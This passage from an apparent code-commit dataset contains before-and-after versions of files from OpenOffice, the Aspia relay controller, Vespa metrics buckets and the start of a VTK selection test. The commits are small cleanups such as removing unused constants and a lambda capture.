2007-02-27 13:25:18 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef SC_PIVOTSH_HXX\n#define SC_PIVOTSH_HXX\n\n#ifndef _SFXMODULE_HXX \/\/autogen\n#include <sfx2\/module.hxx>\n#endif\n#ifndef _SFX_SHELL_HXX \/\/autogen\n#include <sfx2\/shell.hxx>\n#endif\n\n#include \"shellids.hxx\"\n\nclass ScTabViewShell;\nclass ScDPObject;\n\nclass ScPivotShell : public SfxShell\n{\npublic:\n TYPEINFO();\n SFX_DECL_INTERFACE(SCID_PIVOT_SHELL)\n\n ScPivotShell( ScTabViewShell* pView );\n ~ScPivotShell();\n\n void Execute ( SfxRequest& rReq );\n void GetState( SfxItemSet& rSet );\n\nprivate:\n ScTabViewShell* pViewShell;\n\n ScDPObject* GetCurrDPObject();\n};\n\n\n\n#endif\n\n\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: target.cxx,v $\n *\n * $Revision: 1.3 $\n *\n * last change: $Author: rt $ $Date: 2005-09-08 22:38:07 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n\/\/ System - Includes -----------------------------------------------------\n\n#ifdef PCH\n#include \"ui_pch.hxx\"\n#endif\n\n#pragma hdrstop\n\n\/\/ INCLUDE ---------------------------------------------------------------\n\n#include \"target.hxx\"\n\n\/\/ STATIC DATA -----------------------------------------------------------\n\nTYPEINIT1(ScTabViewTarget, SfxRepeatTarget);\n\n__EXPORT ScTabViewTarget::~ScTabViewTarget()\n{\n}\n<commit_msg>INTEGRATION: CWS pchfix01 (1.3.214); FILE MERGED 2006\/07\/12 10:02:52 kaib 1.3.214.1: #i67080# Converted cxx files in sc, added initial project level pch and stripped old PCH definitions.<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: target.cxx,v $\n *\n * $Revision: 1.4 $\n *\n * last change: $Author: kz $ $Date: 2006-07-21 14:25:45 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_sc.hxx\"\n\n\/\/ System - Includes -----------------------------------------------------\n\n\n\n\/\/ INCLUDE ---------------------------------------------------------------\n\n#include \"target.hxx\"\n\n\/\/ STATIC DATA -----------------------------------------------------------\n\nTYPEINIT1(ScTabViewTarget, SfxRepeatTarget);\n\n__EXPORT ScTabViewTarget::~ScTabViewTarget()\n{\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Aspia Project\n\/\/ Copyright (C) 2016-2022 Dmitry Chapyshev <dmitry@aspia.ru>\n\/\/\n\/\/ This program is free software: you can redistribute it and\/or modify\n\/\/ it under the terms of the GNU General Public License as published by\n\/\/ the Free Software Foundation, either version 3 of the License, or\n\/\/ (at your option) any later version.\n\/\/\n\/\/ This program is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n\/\/ GNU General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU General Public License\n\/\/ along with this program. If not, see <https:\/\/www.gnu.org\/licenses\/>.\n\/\/\n\n#include \"relay\/controller.h\"\n\n#include \"base\/logging.h\"\n#include \"base\/task_runner.h\"\n#include \"base\/peer\/client_authenticator.h\"\n#include \"proto\/router_common.pb.h\"\n#include \"relay\/settings.h\"\n\nnamespace relay {\n\nnamespace {\n\nconst std::chrono::seconds kReconnectTimeout{ 15 };\n\n#if defined(OS_WIN)\nconst wchar_t kFirewallRuleName[] = L\"Aspia Relay Service\";\nconst wchar_t kFirewallRuleDecription[] = L\"Allow incoming TCP connections\";\n#endif \/\/ defined(OS_WIN)\n\nclass KeyDeleter\n{\npublic:\n KeyDeleter(std::unique_ptr<SharedPool> pool, uint32_t key_id)\n : pool_(std::move(pool)),\n key_id_(key_id)\n {\n DCHECK(pool_);\n }\n\n ~KeyDeleter() = default;\n\n void deleteKey()\n {\n pool_->setKeyExpired(key_id_);\n }\n\nprivate:\n std::unique_ptr<SharedPool> pool_;\n const uint32_t key_id_;\n\n DISALLOW_COPY_AND_ASSIGN(KeyDeleter);\n};\n\n} \/\/ namespace\n\nController::Controller(std::shared_ptr<base::TaskRunner> task_runner)\n : task_runner_(task_runner),\n reconnect_timer_(base::WaitableTimer::Type::SINGLE_SHOT, task_runner),\n shared_pool_(std::make_unique<SharedPool>(this))\n{\n Settings settings;\n\n \/\/ Router settings.\n router_address_ = settings.routerAddress();\n router_port_ = settings.routerPort();\n router_public_key_ = settings.routerPublicKey();\n\n LOG(LS_INFO) << \"Router address: \" << router_address_;\n LOG(LS_INFO) << \"Router port: \" << router_port_;\n LOG(LS_INFO) << \"Router public key: \" << base::toHex(router_public_key_);\n\n \/\/ Peers settings.\n peer_address_ = settings.peerAddress();\n peer_port_ = settings.peerPort();\n peer_idle_timeout_ = settings.peerIdleTimeout();\n max_peer_count_ = settings.maxPeerCount();\n\n LOG(LS_INFO) << \"Peer address: \" << peer_address_;\n LOG(LS_INFO) << \"Peer port: \" << peer_port_;\n LOG(LS_INFO) << \"Peer idle timeout: \" << peer_idle_timeout_.count();\n LOG(LS_INFO) << \"Max peer count: \" << max_peer_count_;\n}\n\nController::~Controller() = default;\n\nbool Controller::start()\n{\n LOG(LS_INFO) << \"Starting controller\";\n\n if (router_address_.empty())\n {\n LOG(LS_ERROR) << \"Empty router address\";\n return false;\n }\n\n if (router_port_ == 0)\n {\n LOG(LS_ERROR) << \"Invalid router port\";\n return false;\n }\n\n if (router_public_key_.empty())\n {\n LOG(LS_ERROR) << \"Empty router public key\";\n return false;\n }\n\n if (peer_address_.empty())\n {\n LOG(LS_ERROR) << \"Empty peer address\";\n return false;\n }\n\n if (peer_port_ == 0)\n {\n LOG(LS_ERROR) << \"Invalid peer port\";\n return false;\n }\n\n if (peer_idle_timeout_ < std::chrono::minutes(1) || peer_idle_timeout_ > std::chrono::minutes(60))\n {\n LOG(LS_WARNING) << \"Invalid peer idle specified\";\n return false;\n }\n\n sessions_worker_ = std::make_unique<SessionsWorker>(\n peer_port_, peer_idle_timeout_, shared_pool_->share());\n sessions_worker_->start(task_runner_, this);\n\n connectToRouter();\n return true;\n}\n\nvoid Controller::onConnected()\n{\n LOG(LS_INFO) << \"Connection to the router is established\";\n\n channel_->setOwnKeepAlive(true);\n channel_->setNoDelay(true);\n\n authenticator_ = std::make_unique<base::ClientAuthenticator>(task_runner_);\n\n authenticator_->setIdentify(proto::IDENTIFY_ANONYMOUS);\n authenticator_->setPeerPublicKey(router_public_key_);\n authenticator_->setSessionType(proto::ROUTER_SESSION_RELAY);\n\n authenticator_->start(std::move(channel_),\n [this](base::ClientAuthenticator::ErrorCode error_code)\n {\n if (error_code == base::ClientAuthenticator::ErrorCode::SUCCESS)\n {\n \/\/ The authenticator takes the listener on itself, we return the receipt of\n \/\/ notifications.\n channel_ = authenticator_->takeChannel();\n channel_->setListener(this);\n\n LOG(LS_INFO) << \"Authentication complete\";\n\n \/\/ Now the session will receive incoming messages.\n channel_->resume();\n\n sendKeyPool(max_peer_count_);\n }\n else\n {\n LOG(LS_WARNING) << \"Authentication failed: \"\n << base::ClientAuthenticator::errorToString(error_code);\n delayedConnectToRouter();\n }\n\n \/\/ Authenticator is no longer needed.\n task_runner_->deleteSoon(std::move(authenticator_));\n });\n}\n\nvoid Controller::onDisconnected(base::NetworkChannel::ErrorCode error_code)\n{\n LOG(LS_INFO) << \"The connection to the router has been lost: \"\n << base::NetworkChannel::errorToString(error_code);\n\n \/\/ Clearing the key pool.\n shared_pool_->clear();\n\n \/\/ Retrying a connection at a time interval.\n delayedConnectToRouter();\n}\n\nvoid Controller::onMessageReceived(const base::ByteArray& buffer)\n{\n std::unique_ptr<proto::RouterToRelay> message = std::make_unique<proto::RouterToRelay>();\n if (!base::parse(buffer, message.get()))\n {\n LOG(LS_ERROR) << \"Invalid message from router\";\n return;\n }\n\n if (message->has_key_used())\n {\n std::shared_ptr<KeyDeleter> key_deleter =\n std::make_shared<KeyDeleter>(shared_pool_->share(), message->key_used().key_id());\n\n \/\/ The router gave the key to the peers. They are required to use it within 30 seconds.\n \/\/ If it is not used during this time, then it will be removed from the pool.\n task_runner_->postDelayedTask(\n std::bind(&KeyDeleter::deleteKey, key_deleter), std::chrono::seconds(30));\n }\n else\n {\n LOG(LS_WARNING) << \"Unhandled message from router\";\n }\n}\n\nvoid Controller::onMessageWritten(size_t \/* pending *\/)\n{\n \/\/ Nothing\n}\n\nvoid Controller::onSessionFinished()\n{\n \/\/ After disconnecting the peer, one key is released.\n \/\/ Add a new key to the pool and send it to the router.\n sendKeyPool(1);\n}\n\nvoid Controller::onPoolKeyExpired(uint32_t \/* key_id *\/)\n{\n \/\/ The key has expired and has been removed from the pool.\n \/\/ Add a new key to the pool and send it to the router.\n sendKeyPool(1);\n}\n\nvoid Controller::connectToRouter()\n{\n LOG(LS_INFO) << \"Connecting to router...\";\n\n \/\/ Create channel.\n channel_ = std::make_unique<base::NetworkChannel>();\n\n \/\/ Connect to router.\n channel_->setListener(this);\n channel_->connect(router_address_, router_port_);\n}\n\nvoid Controller::delayedConnectToRouter()\n{\n LOG(LS_INFO) << \"Reconnect after \" << kReconnectTimeout.count() << \" seconds\";\n reconnect_timer_.start(kReconnectTimeout, std::bind(&Controller::connectToRouter, this));\n}\n\nvoid Controller::sendKeyPool(uint32_t key_count)\n{\n std::unique_ptr<proto::RelayToRouter> message = std::make_unique<proto::RelayToRouter>();\n proto::RelayKeyPool* relay_key_pool = message->mutable_key_pool();\n\n relay_key_pool->set_peer_host(base::utf8FromUtf16(peer_address_));\n relay_key_pool->set_peer_port(peer_port_);\n\n \/\/ Add the requested number of keys to the pool.\n for (uint32_t i = 0; i < key_count; ++i)\n {\n SessionKey session_key = SessionKey::create();\n if (!session_key.isValid())\n return;\n\n \/\/ Add the key to the outgoing message.\n proto::RelayKey* key = relay_key_pool->add_key();\n\n key->set_type(proto::RelayKey::TYPE_X25519);\n key->set_encryption(proto::RelayKey::ENCRYPTION_CHACHA20_POLY1305);\n key->set_public_key(base::toStdString(session_key.publicKey()));\n key->set_iv(base::toStdString(session_key.iv()));\n\n \/\/ Add the key to the pool.\n key->set_key_id(shared_pool_->addKey(std::move(session_key)));\n }\n\n \/\/ Send a message to the router.\n channel_->send(base::serialize(*message));\n}\n\n} \/\/ namespace relay\n<commit_msg>Cleanup.<commit_after>\/\/\n\/\/ Aspia Project\n\/\/ Copyright (C) 2016-2022 Dmitry Chapyshev <dmitry@aspia.ru>\n\/\/\n\/\/ This program is free software: you can redistribute it and\/or modify\n\/\/ it under the terms of the GNU General Public License as published by\n\/\/ the Free Software Foundation, either version 3 of the License, or\n\/\/ (at your option) any later version.\n\/\/\n\/\/ This program is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n\/\/ GNU General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU General Public License\n\/\/ along with this program. If not, see <https:\/\/www.gnu.org\/licenses\/>.\n\/\/\n\n#include \"relay\/controller.h\"\n\n#include \"base\/logging.h\"\n#include \"base\/task_runner.h\"\n#include \"base\/peer\/client_authenticator.h\"\n#include \"proto\/router_common.pb.h\"\n#include \"relay\/settings.h\"\n\nnamespace relay {\n\nnamespace {\n\nconst std::chrono::seconds kReconnectTimeout{ 15 };\n\nclass KeyDeleter\n{\npublic:\n KeyDeleter(std::unique_ptr<SharedPool> pool, uint32_t key_id)\n : pool_(std::move(pool)),\n key_id_(key_id)\n {\n DCHECK(pool_);\n }\n\n ~KeyDeleter() = default;\n\n void deleteKey()\n {\n pool_->setKeyExpired(key_id_);\n }\n\nprivate:\n std::unique_ptr<SharedPool> pool_;\n const uint32_t key_id_;\n\n DISALLOW_COPY_AND_ASSIGN(KeyDeleter);\n};\n\n} \/\/ namespace\n\nController::Controller(std::shared_ptr<base::TaskRunner> task_runner)\n : task_runner_(task_runner),\n reconnect_timer_(base::WaitableTimer::Type::SINGLE_SHOT, task_runner),\n shared_pool_(std::make_unique<SharedPool>(this))\n{\n Settings settings;\n\n \/\/ Router settings.\n router_address_ = settings.routerAddress();\n router_port_ = settings.routerPort();\n router_public_key_ = settings.routerPublicKey();\n\n LOG(LS_INFO) << \"Router address: \" << router_address_;\n LOG(LS_INFO) << \"Router port: \" << router_port_;\n LOG(LS_INFO) << \"Router public key: \" << base::toHex(router_public_key_);\n\n \/\/ Peers settings.\n peer_address_ = settings.peerAddress();\n peer_port_ = settings.peerPort();\n peer_idle_timeout_ = settings.peerIdleTimeout();\n max_peer_count_ = settings.maxPeerCount();\n\n LOG(LS_INFO) << \"Peer address: \" << peer_address_;\n LOG(LS_INFO) << \"Peer port: \" << peer_port_;\n LOG(LS_INFO) << \"Peer idle timeout: \" << peer_idle_timeout_.count();\n LOG(LS_INFO) << \"Max peer count: \" << max_peer_count_;\n}\n\nController::~Controller() = default;\n\nbool Controller::start()\n{\n LOG(LS_INFO) << \"Starting controller\";\n\n if (router_address_.empty())\n {\n LOG(LS_ERROR) << \"Empty router address\";\n return false;\n }\n\n if (router_port_ == 0)\n {\n LOG(LS_ERROR) << \"Invalid router port\";\n return false;\n }\n\n if (router_public_key_.empty())\n {\n LOG(LS_ERROR) << \"Empty router public key\";\n return false;\n }\n\n if (peer_address_.empty())\n {\n LOG(LS_ERROR) << \"Empty peer address\";\n return false;\n }\n\n if (peer_port_ == 0)\n {\n LOG(LS_ERROR) << \"Invalid peer port\";\n return false;\n }\n\n if (peer_idle_timeout_ < std::chrono::minutes(1) || peer_idle_timeout_ > std::chrono::minutes(60))\n {\n LOG(LS_WARNING) << \"Invalid peer idle specified\";\n return false;\n }\n\n sessions_worker_ = std::make_unique<SessionsWorker>(\n peer_port_, peer_idle_timeout_, shared_pool_->share());\n sessions_worker_->start(task_runner_, this);\n\n connectToRouter();\n return true;\n}\n\nvoid Controller::onConnected()\n{\n LOG(LS_INFO) << \"Connection to the router is established\";\n\n channel_->setOwnKeepAlive(true);\n channel_->setNoDelay(true);\n\n authenticator_ = std::make_unique<base::ClientAuthenticator>(task_runner_);\n\n authenticator_->setIdentify(proto::IDENTIFY_ANONYMOUS);\n authenticator_->setPeerPublicKey(router_public_key_);\n authenticator_->setSessionType(proto::ROUTER_SESSION_RELAY);\n\n authenticator_->start(std::move(channel_),\n [this](base::ClientAuthenticator::ErrorCode error_code)\n {\n if (error_code == base::ClientAuthenticator::ErrorCode::SUCCESS)\n {\n \/\/ The authenticator takes the listener on itself, we return the receipt of\n \/\/ notifications.\n channel_ = authenticator_->takeChannel();\n channel_->setListener(this);\n\n LOG(LS_INFO) << \"Authentication complete\";\n\n \/\/ Now the session will receive incoming messages.\n channel_->resume();\n\n sendKeyPool(max_peer_count_);\n }\n else\n {\n LOG(LS_WARNING) << \"Authentication failed: \"\n << base::ClientAuthenticator::errorToString(error_code);\n delayedConnectToRouter();\n }\n\n \/\/ Authenticator is no longer needed.\n task_runner_->deleteSoon(std::move(authenticator_));\n });\n}\n\nvoid Controller::onDisconnected(base::NetworkChannel::ErrorCode error_code)\n{\n LOG(LS_INFO) << \"The connection to the router has been lost: \"\n << base::NetworkChannel::errorToString(error_code);\n\n \/\/ Clearing the key pool.\n shared_pool_->clear();\n\n \/\/ Retrying a connection at a time interval.\n delayedConnectToRouter();\n}\n\nvoid Controller::onMessageReceived(const base::ByteArray& buffer)\n{\n std::unique_ptr<proto::RouterToRelay> message = std::make_unique<proto::RouterToRelay>();\n if (!base::parse(buffer, message.get()))\n {\n LOG(LS_ERROR) << \"Invalid message from router\";\n return;\n }\n\n if (message->has_key_used())\n {\n std::shared_ptr<KeyDeleter> key_deleter =\n std::make_shared<KeyDeleter>(shared_pool_->share(), message->key_used().key_id());\n\n \/\/ The router gave the key to the peers. They are required to use it within 30 seconds.\n \/\/ If it is not used during this time, then it will be removed from the pool.\n task_runner_->postDelayedTask(\n std::bind(&KeyDeleter::deleteKey, key_deleter), std::chrono::seconds(30));\n }\n else\n {\n LOG(LS_WARNING) << \"Unhandled message from router\";\n }\n}\n\nvoid Controller::onMessageWritten(size_t \/* pending *\/)\n{\n \/\/ Nothing\n}\n\nvoid Controller::onSessionFinished()\n{\n \/\/ After disconnecting the peer, one key is released.\n \/\/ Add a new key to the pool and send it to the router.\n sendKeyPool(1);\n}\n\nvoid Controller::onPoolKeyExpired(uint32_t \/* key_id *\/)\n{\n \/\/ The key has expired and has been removed from the pool.\n \/\/ Add a new key to the pool and send it to the router.\n sendKeyPool(1);\n}\n\nvoid Controller::connectToRouter()\n{\n LOG(LS_INFO) << \"Connecting to router...\";\n\n \/\/ Create channel.\n channel_ = std::make_unique<base::NetworkChannel>();\n\n \/\/ Connect to router.\n channel_->setListener(this);\n channel_->connect(router_address_, router_port_);\n}\n\nvoid Controller::delayedConnectToRouter()\n{\n LOG(LS_INFO) << \"Reconnect after \" << kReconnectTimeout.count() << \" seconds\";\n reconnect_timer_.start(kReconnectTimeout, std::bind(&Controller::connectToRouter, this));\n}\n\nvoid Controller::sendKeyPool(uint32_t key_count)\n{\n std::unique_ptr<proto::RelayToRouter> message = std::make_unique<proto::RelayToRouter>();\n proto::RelayKeyPool* relay_key_pool = message->mutable_key_pool();\n\n relay_key_pool->set_peer_host(base::utf8FromUtf16(peer_address_));\n relay_key_pool->set_peer_port(peer_port_);\n\n \/\/ Add the requested number of keys to the pool.\n for (uint32_t i = 0; i < key_count; ++i)\n {\n SessionKey session_key = SessionKey::create();\n if (!session_key.isValid())\n return;\n\n \/\/ Add the key to the outgoing message.\n proto::RelayKey* key = relay_key_pool->add_key();\n\n key->set_type(proto::RelayKey::TYPE_X25519);\n key->set_encryption(proto::RelayKey::ENCRYPTION_CHACHA20_POLY1305);\n key->set_public_key(base::toStdString(session_key.publicKey()));\n key->set_iv(base::toStdString(session_key.iv()));\n\n \/\/ Add the key to the pool.\n key->set_key_id(shared_pool_->addKey(std::move(session_key)));\n }\n\n \/\/ Send a message to the router.\n channel_->send(base::serialize(*message));\n}\n\n} \/\/ namespace relay\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2017 Yahoo Holdings. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n#include \"bucket.h\"\n#include <assert.h>\n#include <map>\n#include <vespa\/vespalib\/util\/overload.h>\n#include <vespa\/vespalib\/util\/visit_ranges.h>\n\nnamespace vespalib {\nnamespace metrics {\n\nnamespace {\n\ntemplate<typename T>\nstd::vector<typename T::aggregator_type>\nmergeFromSamples(const StableStore<typename T::sample_type> &source)\n{\n using Aggregator = typename T::aggregator_type;\n using Sample = typename T::sample_type;\n using Key = std::pair<MetricId, Point>;\n using Map = std::map<Key, Aggregator>;\n using MapValue = typename Map::value_type;\n\n Map map;\n source.for_each([&map] (const Sample &sample) {\n Key id = sample.idx;\n auto iter_check = map.emplace(id, sample);\n if (!iter_check.second) {\n iter_check.first->second.merge(sample);\n }\n });\n std::vector<typename T::aggregator_type> result;\n for (const MapValue &entry : map) {\n result.push_back(entry.second);\n }\n return result;\n}\n\ntemplate<typename T>\nstruct IdxComparator {\n bool operator() (const T& a, const T& b) { return a.idx < b.idx; }\n};\n\ntemplate<typename T>\nstd::vector<T>\nmergeVectors(const std::vector<T> &a,\n const std::vector<T> &b)\n{\n std::vector<T> result;\n visit_ranges(overload\n {\n [&result](visit_ranges_either, const T& x) { result.push_back(x); },\n [&result](visit_ranges_both, const T& x, const T& y) {\n result.push_back(x);\n result.back().merge(y);\n }\n }, a.begin(), a.end(), b.begin(), b.end(), IdxComparator<T>());\n return result;\n}\n\ntemplate<typename T>\nstd::vector<T>\nfindMissing(const std::vector<T> &already,\n const std::vector<T> &complete)\n{\n std::vector<T> result;\n visit_ranges(overload\n {\n \/\/ missing from \"complete\", should not happen:\n [&result](visit_ranges_first, const T&) { },\n \/\/ missing this:\n [&result](visit_ranges_second, const T& x) { result.push_back(x); },\n \/\/ already have this:\n [&result](visit_ranges_both, const T&, const T&) { }\n },\n already.begin(), already.end(),\n complete.begin(), complete.end(),\n IdxComparator<T>());\n return result;\n}\n\n\n} \/\/ namespace <unnamed>\n\nvoid Bucket::merge(const CurrentSamples &samples)\n{\n counters = mergeFromSamples<Counter>(samples.counterIncrements);\n gauges = mergeFromSamples<Gauge>(samples.gaugeMeasurements);\n}\n\nvoid Bucket::merge(const Bucket &other)\n{\n assert(genCnt < other.genCnt);\n genCnt = other.genCnt;\n startTime = std::min(startTime, other.startTime);\n endTime = std::max(endTime, other.endTime);\n\n std::vector<CounterAggregator> nextCounters = mergeVectors(counters, other.counters);\n counters = std::move(nextCounters);\n\n std::vector<GaugeAggregator> nextGauges = mergeVectors(gauges, other.gauges);\n gauges = std::move(nextGauges);\n}\n\nvoid Bucket::padMetrics(const Bucket &source)\n{\n std::vector<CounterAggregator> missingC = findMissing(counters, source.counters);\n for (CounterAggregator aggr : missingC) {\n aggr.count = 0;\n counters.push_back(aggr);\n }\n std::vector<GaugeAggregator> missingG = findMissing(gauges, source.gauges);\n for (GaugeAggregator aggr : missingG) {\n aggr.observedCount = 0;\n aggr.sumValue = 0;\n aggr.minValue = 0;\n aggr.maxValue = 0;\n gauges.push_back(aggr);\n }\n}\n\n} \/\/ namespace vespalib::metrics\n} \/\/ namespace vespalib\n<commit_msg>Remove unused lambda capture in findMissing function.<commit_after>\/\/ Copyright 2017 Yahoo Holdings. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n#include \"bucket.h\"\n#include <assert.h>\n#include <map>\n#include <vespa\/vespalib\/util\/overload.h>\n#include <vespa\/vespalib\/util\/visit_ranges.h>\n\nnamespace vespalib {\nnamespace metrics {\n\nnamespace {\n\ntemplate<typename T>\nstd::vector<typename T::aggregator_type>\nmergeFromSamples(const StableStore<typename T::sample_type> &source)\n{\n using Aggregator = typename T::aggregator_type;\n using Sample = typename T::sample_type;\n using Key = std::pair<MetricId, Point>;\n using Map = std::map<Key, Aggregator>;\n using MapValue = typename Map::value_type;\n\n Map map;\n source.for_each([&map] (const Sample &sample) {\n Key id = sample.idx;\n auto iter_check = map.emplace(id, sample);\n if (!iter_check.second) {\n iter_check.first->second.merge(sample);\n }\n });\n std::vector<typename T::aggregator_type> result;\n for (const MapValue &entry : map) {\n result.push_back(entry.second);\n }\n return result;\n}\n\ntemplate<typename T>\nstruct IdxComparator {\n bool operator() (const T& a, const T& b) { return a.idx < b.idx; }\n};\n\ntemplate<typename T>\nstd::vector<T>\nmergeVectors(const std::vector<T> &a,\n const std::vector<T> &b)\n{\n std::vector<T> result;\n visit_ranges(overload\n {\n [&result](visit_ranges_either, const T& x) { result.push_back(x); },\n [&result](visit_ranges_both, const T& x, const T& y) {\n result.push_back(x);\n result.back().merge(y);\n }\n }, a.begin(), a.end(), b.begin(), b.end(), IdxComparator<T>());\n return result;\n}\n\ntemplate<typename T>\nstd::vector<T>\nfindMissing(const std::vector<T> &already,\n const std::vector<T> &complete)\n{\n std::vector<T> result;\n visit_ranges(overload\n {\n \/\/ missing from \"complete\", should not happen:\n [](visit_ranges_first, const T&) { },\n \/\/ missing this:\n [&result](visit_ranges_second, const T& x) { result.push_back(x); },\n \/\/ already have this:\n [](visit_ranges_both, const T&, const T&) { }\n },\n already.begin(), already.end(),\n complete.begin(), complete.end(),\n IdxComparator<T>());\n return result;\n}\n\n\n} \/\/ namespace <unnamed>\n\nvoid Bucket::merge(const CurrentSamples &samples)\n{\n counters = mergeFromSamples<Counter>(samples.counterIncrements);\n gauges = mergeFromSamples<Gauge>(samples.gaugeMeasurements);\n}\n\nvoid Bucket::merge(const Bucket &other)\n{\n assert(genCnt < other.genCnt);\n genCnt = other.genCnt;\n startTime = std::min(startTime, other.startTime);\n endTime = std::max(endTime, other.endTime);\n\n std::vector<CounterAggregator> nextCounters = mergeVectors(counters, other.counters);\n counters = std::move(nextCounters);\n\n std::vector<GaugeAggregator> nextGauges = mergeVectors(gauges, other.gauges);\n gauges = std::move(nextGauges);\n}\n\nvoid Bucket::padMetrics(const Bucket &source)\n{\n std::vector<CounterAggregator> missingC = findMissing(counters, source.counters);\n for (CounterAggregator aggr : missingC) {\n aggr.count = 0;\n counters.push_back(aggr);\n }\n std::vector<GaugeAggregator> missingG = findMissing(gauges, source.gauges);\n for (GaugeAggregator aggr : missingG) {\n aggr.observedCount = 0;\n aggr.sumValue = 0;\n aggr.minValue = 0;\n aggr.maxValue = 0;\n gauges.push_back(aggr);\n }\n}\n\n} \/\/ namespace vespalib::metrics\n} \/\/ namespace vespalib\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: Visualization Toolkit\n Module: TestCellDistanceSelector.cxx\n\n Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n All rights reserved.\n See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notice for more information.\n\n=========================================================================*\/\n\/\/ .SECTION Thanks\n\/\/ This test was written by Philippe Pebay, Kitware SAS 2012\n\n#include \"vtkCellArray.h\"\n#include \"vtkCellData.h\"\n#include \"vtkExtractSelection.h\"\n#include \"vtkIdTypeArray.h\"\n#include \"vtkInformation.h\"\n#include \"vtkCellDistanceSelector.h\"\n#include \"vtkMultiBlockDataSet.h\"\n#include \"vtkPointData.h\"\n#include \"vtkSelection.h\"\n#include \"vtkSelectionNode.h\"\n#include \"vtkSmartPointer.h\"\n#include \"vtkTestUtilities.h\"\n#include \"vtkUnstructuredGrid.h\"\n#include \"vtkUnstructuredGridReader.h\"\n#include \"vtkUnstructuredGridWriter.h\"\n\n#include <vtksys\/ios\/sstream>\n\n\/\/ Reference values\nvtkIdType cardCellDistanceSelection[] =\n{\n 54,\n 54,\n 108,\n 45,\n};\n\n\/\/ ------------------------------------------------------------------------------------------------\nstatic int CheckExtractedUGrid( vtkExtractSelection* extract,\n const char* tag,\n int testIdx,\n bool writeGrid )\n{\n \/\/ Output must be a multiblock dataset\n vtkMultiBlockDataSet* outputMB = vtkMultiBlockDataSet::SafeDownCast( extract->GetOutput() );\n if ( ! outputMB )\n {\n vtkGenericWarningMacro(\"Cannot downcast extracted selection to multiblock dataset.\");\n\n return 1;\n }\n\n \/\/ First block must be an unstructured grid\n vtkUnstructuredGrid* ugrid = vtkUnstructuredGrid::SafeDownCast( outputMB->GetBlock( 0 ) );\n if ( ! ugrid )\n {\n vtkGenericWarningMacro(\"Cannot downcast extracted selection to unstructured grid.\");\n\n return 1;\n }\n\n \/\/ Initialize test status\n int testStatus = 0;\n cerr << endl;\n\n \/\/ Verify selection cardinality\n vtkIdType nCells = ugrid->GetNumberOfCells();\n cout << tag\n << \" contains \"\n << nCells\n << \" cells.\"\n << endl;\n\n if ( nCells != cardCellDistanceSelection[testIdx] )\n {\n vtkGenericWarningMacro( \"Incorrect cardinality: \"\n << nCells\n << \" != \"\n << cardCellDistanceSelection[testIdx] );\n testStatus = 1;\n }\n\n \/\/ Verify selection cells\n cerr << \"Original cell Ids (types): \";\n ugrid->GetCellData()->SetActiveScalars( \"vtkOriginalCellIds\" );\n vtkDataArray* oCellIds = 